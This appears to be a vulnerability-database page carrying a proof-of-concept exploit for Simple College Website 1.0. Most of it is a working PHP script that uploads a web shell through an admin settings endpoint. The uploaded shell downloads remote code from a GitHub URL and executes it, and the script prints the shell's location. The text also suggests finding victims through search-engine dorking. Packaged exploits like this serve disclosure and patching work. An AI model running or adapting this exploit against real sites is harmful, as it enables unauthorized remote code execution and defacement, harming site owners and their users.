Lucene search
K

Simple College Website 1.0 Shell Upload

🗓️ 27 Sep 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 294 Views

Simple College Website 1.0 Shell Upload code injection Vulnerability, injects php code into SHELL.php file, allows file upload and access to shell. Tested on Windows 10 Firefox 129.0.

Code
`=============================================================================================================================================  
| # Title : Simple College Website 1.0 code injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] This payload injects php code of your choice into an SHELL.php file.   
  
[+] Line 28  
Line 37  
  
[+] change the path of the script folder.  
  
[+] save payload as poc.php  
  
[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1  
  
[+] payload :  
<?php  
  
function file_upload($target_ip) {  
$file_name = "indoushka.php";  
$webshell_payload = "<?php  
\$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';  
\$ch = curl_init();  
curl_setopt(\$ch, CURLOPT_URL, \$url);  
curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);  
\$output = curl_exec(\$ch);  
curl_close(\$ch);  
if (\$output) {  
include 'data://text/plain;base64,' . base64_encode(\$output);  
}  
?>";  
  
$post_fields = array(  
  
'name' => 'Hacked By Indoushka',  
'email' => '[email protected]',  
'contact' => '00213771818860',  
'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),  
  
'qty' => '1'  
);  
  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, "http://$target_ip/college_website/admin/ajax.php?action=save_settings");  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
  
$response = curl_exec($ch);  
curl_close($ch);  
  
echo "(+) Shell uploaded successfully.\n";  
echo "(+) Access the shell at: http://$target_ip/college_website/admin/assets/uploads/\n";  
}  
  
if ($argc != 2) {  
echo "(+) Usage: php " . $argv[0] . " <target ip>\n";  
echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";  
exit(-1);  
}  
  
$target_ip = $argv[1];  
file_upload($target_ip);  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation